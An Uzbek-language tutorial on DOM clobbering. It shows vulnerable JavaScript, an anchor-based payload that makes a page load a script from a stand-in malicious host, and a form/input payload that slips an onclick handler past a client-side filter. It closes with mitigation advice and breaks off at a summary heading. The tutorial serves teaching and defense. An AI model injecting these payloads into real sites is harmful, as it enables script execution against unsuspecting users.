Ushbu bo'limda DOM clobbering nima ekanini tasvirlaymiz, clobbering texnikalari yordamida DOM zaifliklaridan qanday foydalanish mumkinligini ko'rsatamiz va DOM clobbering hujumlariga duchor bo'lish xavfini qanday kamaytirish mumkinligini taklif qilamiz.
DOM clobbering — bu sahifaga HTML kiritib, DOM'ni o'zgartirish va pirovardida sahifadagi JavaScript'ning xatti-harakatini o'zgartirish uchun ishlatiladigan texnikadir. DOM clobbering ayniqsa XSS mumkin bo'lmagan, lekin siz id yoki name atributlari HTML filtr tomonidan oq ro'yxatga kiritilgan (whitelisted) sahifada biror HTML'ni nazorat qila oladigan hollarda foydali. DOM clobbering'ning eng keng tarqalgan shakli anchor elementidan global o'zgaruvchini qayta yozish (overwrite) uchun foydalanadi; keyin bu o'zgaruvchi ilova tomonidan xavfsiz bo'lmagan tarzda, masalan, dinamik skript URL'ini generatsiya qilish uchun ishlatiladi.
Clobbering atamasi siz global o'zgaruvchini yoki obyekt xususiyatini "clobbering" qilib (ustidan bosib) uni o'rniga DOM tuguni yoki HTML kolleksiyasi bilan qayta yozayotganingizdan kelib chiqadi. Masalan, DOM obyektlaridan boshqa JavaScript obyektlarini qayta yozish va submit kabi xavfsiz bo'lmagan nomlardan foydalanib formaning haqiqiy submit() funksiyasiga xalal berish uchun foydalanish mumkin.
JavaScript ishlab chiquvchilari ishlatadigan keng tarqalgan namuna:
var someObject = window.someObject || {};Agar sahifadagi ba'zi HTML'ni nazorat qila olsangiz, someObject havolasini DOM tuguni, masalan anchor bilan clobber qila olasiz. Quyidagi kodni ko'rib chiqing:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>Bu zaif koddan foydalanish uchun someObject havolasini anchor elementi bilan clobber qilish uchun quyidagi HTML'ni kiritishingiz mumkin:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>Ikki anchor bir xil ID'dan foydalangani uchun, DOM ularni DOM kolleksiyasiga birlashtiradi. So'ng DOM clobbering vektori someObject havolasini shu DOM kolleksiyasi bilan qayta yozadi. Oxirgi anchor elementida name atributi someObject obyektining url xususiyatini clobber qilish uchun ishlatilgan, u esa tashqi skriptga ishora qiladi.
Yana bir keng tarqalgan texnika — form elementini input kabi element bilan birgalikda ishlatib DOM xususiyatlarini clobber qilish. Masalan, attributes xususiyatini clobber qilish o'z mantiqida undan foydalanadigan mijoz tomonidagi filtrlarni chetlab o'tish imkonini beradi. Filtr attributes xususiyatini sanab chiqsa ham, xususiyat DOM tuguni bilan clobber qilingani uchun aslida hech qanday atributni o'chirmaydi. Natijada, odatda filtrlanadigan zararli atributlarni kiritishingiz mumkin bo'ladi. Masalan, quyidagi injeksiyani ko'rib chiqing:
<form onclick=alert(1)><input id=attributes>Click meBu holda mijoz tomonidagi filtr DOM bo'ylab yurib, oq ro'yxatdagi form elementiga duch keladi. Odatda filtr form elementining attributes xususiyati bo'ylab aylanib, qora ro'yxatdagi (blacklisted) atributlarni o'chirar edi. Biroq attributes xususiyati input elementi bilan clobber qilingani uchun, filtr o'rniga input elementi bo'ylab aylanadi. input elementining uzunligi aniqlanmagan (undefined) bo'lgani uchun, filtrning for siklining shartlari (masalan i<element.attributes.length) bajarilmaydi va filtr shunchaki keyingi elementga o'tadi. Natijada onclick hodisasi filtr tomonidan butunlay e'tibordan chetda qoladi, bu esa brauzerda alert() funksiyasining chaqirilishiga imkon beradi.
Eng oddiy qilib aytganda, obyekt yoki funksiyalar siz kutganingizdek ekanini ta'minlash uchun tekshiruvlar joriy qilib DOM-clobbering hujumlarining oldini olishingiz mumkin. Masalan, DOM tugunining attributes xususiyati haqiqatan ham NamedNodeMap namunasi (instance) ekanini tekshirishingiz mumkin. Bu xususiyat clobber qilingan HTML elementi emas, balki haqiqiy atributlar xususiyati ekanini ta'minlaydi.
Shuningdek, global o'zgaruvchini mantiqiy OR operatori || bilan birgalikda ishlatadigan kod yozishdan qochishingiz kerak, chunki bu DOM clobbering zaifliklariga olib kelishi mumkin.
Qisqasi: